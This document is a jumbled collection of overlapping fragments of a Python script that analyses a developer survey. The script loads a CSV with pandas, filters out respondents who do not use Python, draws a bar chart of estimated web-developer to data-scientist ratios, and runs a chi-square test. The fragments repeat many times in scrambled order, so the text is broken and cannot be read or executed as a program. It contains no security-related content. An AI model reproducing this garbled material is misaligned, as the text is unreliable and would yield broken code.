disqualified users # In","Python for secondary projects only # Let's turn it into a bool df['python_main']","after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw","a bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT","for x in DATA_DICTIONARY] # Generate the list of names to import usecols","survey, respondents were asked to estimate the ratio between # the amount of","point, and it's already ordered in the data # dictionary. So we shouldn't","No, I use Python for secondary projects only # Let's turn it into","hypothesis is that they're the same. Let's see if we can reject it","the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2,","# - Yes # - No, I use Python for secondary projects only","converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In the survey,","data: remove disqualified users # In the survey, any user who selected they","chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count()","we now only have two categories left: # - Yes # - No,","10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5,","use Python for my current projects'] # Considering we now only have two","} self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values())","was then # disqualified from the rest of the survey. So let's drop","This is a categorical data point, and it's already ordered in the data","current projects'] # Considering we now only have two categories left: # -","= 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others,",": 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1","web devs / scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self,","dictionary. So we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False)","!= 'No, I don’t use Python for my current projects'] # Considering we","import pandas as pd import numpy as np import matplotlib.pyplot as plt import","any user who selected they don't use Python was then # disqualified from","it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web","bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev / data","to estimate the ratio between # the amount of web developers vs the","sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) #","the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar","result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same.","usecols=usecols) #%% Clean up data: remove disqualified users # In the survey, any","df = df[df['python_main'] != 'No, I don’t use Python for my current projects']",".replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist')","were asked what they thought the most popular answer would be. # Let's","should be a dict of 'col_name' : dtype dtypes = {x.name : x.dtype","df[df['python_main'] != 'No, I don’t use Python for my current projects'] # Considering","usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be","data scientists. Afterwards # they were asked what they thought the most popular","between # the amount of web developers vs the amount of data scientists.","selected they don't use Python was then # disqualified from the rest of","Let's draw a bar chart comparing the distributions fig = plt.figure() ax =","x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data:","('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode the","'1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric","the web dev / data scientist ratio # In the survey, respondents were","numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY","# Considering we now only have two categories left: # - Yes #","import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should","pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary","# the amount of web developers vs the amount of data scientists. Afterwards","x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols)","converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df =","difference! # This is a categorical data point, and it's already ordered in","The null hypothesis is that they're the same. Let's see if we can","In the survey, respondents were asked to estimate the ratio between # the","popular')) plt.show() #%% Calculate the predicted totals # Let's recode the ratios to","ratio # In the survey, respondents were asked to estimate the ratio between","= pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified","df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove","= ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl","= ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH,","data point, and it's already ordered in the data # dictionary. So we","So we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others","Let's see if there's a difference! # This is a categorical data point,","most popular answer would be. # Let's see if there's a difference! #","== 'Yes' #%% Plot the web dev / data scientist ratio # In","amount of web developers vs the amount of data scientists. Afterwards # they","= df[df['python_main'] != 'No, I don’t use Python for my current projects'] #","what they thought the most popular answer would be. # Let's see if","Afterwards # they were asked what they thought the most popular answer would",".replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%%","to take the names list from our data dictionary names = [x.name for","as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY #","# In the survey, respondents were asked to estimate the ratio between #",": 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric =","dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In the","were asked to estimate the ratio between # the amount of web developers","import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to","0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the","align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl)","the amount of web developers vs the amount of data scientists. Afterwards #","'5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5'","print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the","ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%%","import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import","import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data","- Yes # - No, I use Python for secondary projects only #","0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH,","DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean","ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index]","'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode the ratios","width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels","the ratios to numbers, and calculate the means CONVERSION = { '10:1': 10,","users # In the survey, any user who selected they don't use Python","popular answer would be. # Let's see if there's a difference! # This","CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is","for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters,","= df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web","it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's","secondary projects only # Let's turn it into a bool df['python_main'] = df['python_main']","ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing","Calculate the predicted totals # Let's recode the ratios to numbers, and calculate","2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 }","a dict of 'col_name' : dtype dtypes = {x.name : x.dtype for x","if x.usecol] # dtypes should be a dict of 'col_name' : dtype dtypes","df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs /","names list from our data dictionary names = [x.name for x in DATA_DICTIONARY]","finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the names","projects'] # Considering we now only have two categories left: # - Yes","DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name' : dtype","bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT =",": 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(),","= ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center')","= plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH =","of web developers vs the amount of data scientists. Afterwards # they were","[str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]),","Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis","survey, any user who selected they don't use Python was then # disqualified","the amount of data scientists. Afterwards # they were asked what they thought","is that they're the same. Let's see if we can reject it print(result)","= df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig =","for secondary projects only # Let's turn it into a bool df['python_main'] =","x in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name :","user who selected they don't use Python was then # disqualified from the","0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values())","CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' :","# In the survey, any user who selected they don't use Python was","counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a","then # disqualified from the rest of the survey. So let's drop them","scientists. Afterwards # they were asked what they thought the most popular answer","DATA_DICTIONARY # Load data # We want to take the names list from","- No, I use Python for secondary projects only # Let's turn it","x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes,","dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list of","shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False)","x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center')","drop them here. df = df[df['python_main'] != 'No, I don’t use Python for","amount of data scientists. Afterwards # they were asked what they thought the","= df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs","web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference","color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x -","significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the","up data: remove disqualified users # In the survey, any user who selected","the survey. So let's drop them here. df = df[df['python_main'] != 'No, I","[x.name for x in DATA_DICTIONARY] # Generate the list of names to import","= fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars =","data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list","scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The","data scientist ratio # In the survey, respondents were asked to estimate the","dtypes should be a dict of 'col_name' : dtype dtypes = {x.name :","survey. So let's drop them here. df = df[df['python_main'] != 'No, I don’t","pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users","RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self,","be a dict of 'col_name' : dtype dtypes = {x.name : x.dtype for","from the rest of the survey. So let's drop them here. df =","them here. df = df[df['python_main'] != 'No, I don’t use Python for my","* WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted",": x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names,","ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 *","turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the","df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig = plt.figure()","left: # - Yes # - No, I use Python for secondary projects","as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We","disqualified users # In the survey, any user who selected they don't use","'Yes' #%% Plot the web dev / data scientist ratio # In the","the predicted totals # Let's recode the ratios to numbers, and calculate the","header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users #","the list of names to import usecols = [x.name for x in DATA_DICTIONARY","/ data scientist ratio # In the survey, respondents were asked to estimate","categorical data point, and it's already ordered in the data # dictionary. So","values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart","= [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be a","DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name : x.converter for","for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self',","data # dictionary. So we shouldn't sort it after counting the values. ratio_self","= [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0],","null hypothesis is that they're the same. Let's see if we can reject","in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%%","calculate the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' :","want to take the names list from our data dictionary names = [x.name","/ scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant?","ratio between # the amount of web developers vs the amount of data","= [x.name for x in DATA_DICTIONARY] # Generate the list of names to","dict of 'col_name' : dtype dtypes = {x.name : x.dtype for x in","0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(),","color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels =","plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4","now only have two categories left: # - Yes # - No, I","the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is","# Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%%","\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist')","the most popular answer would be. # Let's see if there's a difference!","dev / data scientist ratio # In the survey, respondents were asked to","# This is a categorical data point, and it's already ordered in the","to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes","I use Python for secondary projects only # Let's turn it into a","the survey, respondents were asked to estimate the ratio between # the amount","who selected they don't use Python was then # disqualified from the rest","ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in","I don’t use Python for my current projects'] # Considering we now only","#%% Plot the web dev / data scientist ratio # In the survey,","the survey, any user who selected they don't use Python was then #","'1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric","= df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the","in the data # dictionary. So we shouldn't sort it after counting the","self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)}","my current projects'] # Considering we now only have two categories left: #","we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others =","{x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters","Python for my current projects'] # Considering we now only have two categories","there's a difference! # This is a categorical data point, and it's already","/ scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) #","if there's a difference! # This is a categorical data point, and it's","print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant? result =","np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars =","devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically",": x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters converters","= df['python_main'] == 'Yes' #%% Plot the web dev / data scientist ratio","<gh_stars>0 import pandas as pd import numpy as np import matplotlib.pyplot as plt","# Load data # We want to take the names list from our","Generate the list of names to import usecols = [x.name for x in","totals # Let's recode the ratios to numbers, and calculate the means CONVERSION","answer would be. # Let's see if there's a difference! # This is","of names to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol]","Clean up data: remove disqualified users # In the survey, any user who","ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals #","WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals","\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs /","0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others']","scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant? result","x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name'","= { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1,","1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self']","Plot the web dev / data scientist ratio # In the survey, respondents","'1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\","ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars","into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev","# dictionary. So we shouldn't sort it after counting the values. ratio_self =","matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data #","np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load","web developers vs the amount of data scientists. Afterwards # they were asked","data # We want to take the names list from our data dictionary","# same for converters converters = {x.name : x.converter for x in DATA_DICTIONARY","for my current projects'] # Considering we now only have two categories left:","the ratio between # the amount of web developers vs the amount of","our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the","to numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1' :","for x in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name","= {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same for","Python was then # disqualified from the rest of the survey. So let's","they don't use Python was then # disqualified from the rest of the","# Generate the list of names to import usecols = [x.name for x","df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions","others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web","vs the amount of data scientists. Afterwards # they were asked what they","in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name' :","don't use Python was then # disqualified from the rest of the survey.","scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same. Let's see","ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b',","the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x =","from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the","of data scientists. Afterwards # they were asked what they thought the most","DATA_DICTIONARY] # Generate the list of names to import usecols = [x.name for","already ordered in the data # dictionary. So we shouldn't sort it after","projects only # Let's turn it into a bool df['python_main'] = df['python_main'] ==","in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular'))","ratio_others) # The null hypothesis is that they're the same. Let's see if","list from our data dictionary names = [x.name for x in DATA_DICTIONARY] #","x.usecol] # dtypes should be a dict of 'col_name' : dtype dtypes =","'1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\","as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from",": 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' :","# Let's see if there's a difference! # This is a categorical data","'2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10':","'No, I don’t use Python for my current projects'] # Considering we now","categories left: # - Yes # - No, I use Python for secondary","for x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of","distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT)","CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)}","comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x","df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev / data scientist","Load data # We want to take the names list from our data","plt.show() #%% Calculate the predicted totals # Let's recode the ratios to numbers,","= {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv',","means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1'","ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's","in DATA_DICTIONARY] # Generate the list of names to import usecols = [x.name","ratios to numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1'","and calculate the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1'",": dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype}","ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show()","rest of the survey. So let's drop them here. df = df[df['python_main'] !=","have two categories left: # - Yes # - No, I use Python","Let's recode the ratios to numbers, and calculate the means CONVERSION = {","the data # dictionary. So we shouldn't sort it after counting the values.","lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most","# The null hypothesis is that they're the same. Let's see if we","align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5","ordered in the data # dictionary. So we shouldn't sort it after counting","web dev / data scientist ratio # In the survey, respondents were asked","{x.name : x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0,","don’t use Python for my current projects'] # Considering we now only have","a difference! # This is a categorical data point, and it's already ordered","import DATA_DICTIONARY # Load data # We want to take the names list","if x.dtype} # same for converters converters = {x.name : x.converter for x","'10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' :","# disqualified from the rest of the survey. So let's drop them here.","from our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate","use Python was then # disqualified from the rest of the survey. So","here. df = df[df['python_main'] != 'No, I don’t use Python for my current","We want to take the names list from our data dictionary names =","# Let's recode the ratios to numbers, and calculate the means CONVERSION =","if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up","see if there's a difference! # This is a categorical data point, and","# dtypes should be a dict of 'col_name' : dtype dtypes = {x.name","dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} #","only have two categories left: # - Yes # - No, I use","# - No, I use Python for secondary projects only # Let's turn","WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x,","names = [x.name for x in DATA_DICTIONARY] # Generate the list of names","of the survey. So let's drop them here. df = df[df['python_main'] != 'No,","the rest of the survey. So let's drop them here. df = df[df['python_main']","the names list from our data dictionary names = [x.name for x in","# they were asked what they thought the most popular answer would be.","they were asked what they thought the most popular answer would be. #","be. # Let's see if there's a difference! # This is a categorical","[x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict","# We want to take the names list from our data dictionary names","predicted totals # Let's recode the ratios to numbers, and calculate the means","In the survey, any user who selected they don't use Python was then","for converters converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter}","devs / scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others)"],"string":"[\n \"Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot\",\n \"df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs\",\n \"{ '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2'\",\n \"difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that\",\n \"take the names list from our data dictionary names = [x.name for x\",\n \"= scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same. Let's\",\n \"plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want\",\n \"Yes # - No, I use Python for secondary projects only # Let's\",\n \"a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev /\",\n \"ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH)\",\n \"x.dtype} # same for converters converters = {x.name : x.converter for x in\",\n \"converters converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df\",\n \"scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take\",\n \"ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig\",\n \"others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode\",\n \"they thought the most popular answer would be. # Let's see if there's\",\n \"'col_name' : dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if\",\n \"5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2,\",\n \"two categories left: # - Yes # - No, I use Python for\",\n \"statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're\",\n \"disqualified from the rest of the survey. So let's drop them here. df\",\n \"only # Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes'\",\n \"df['python_main'] == 'Yes' #%% Plot the web dev / data scientist ratio 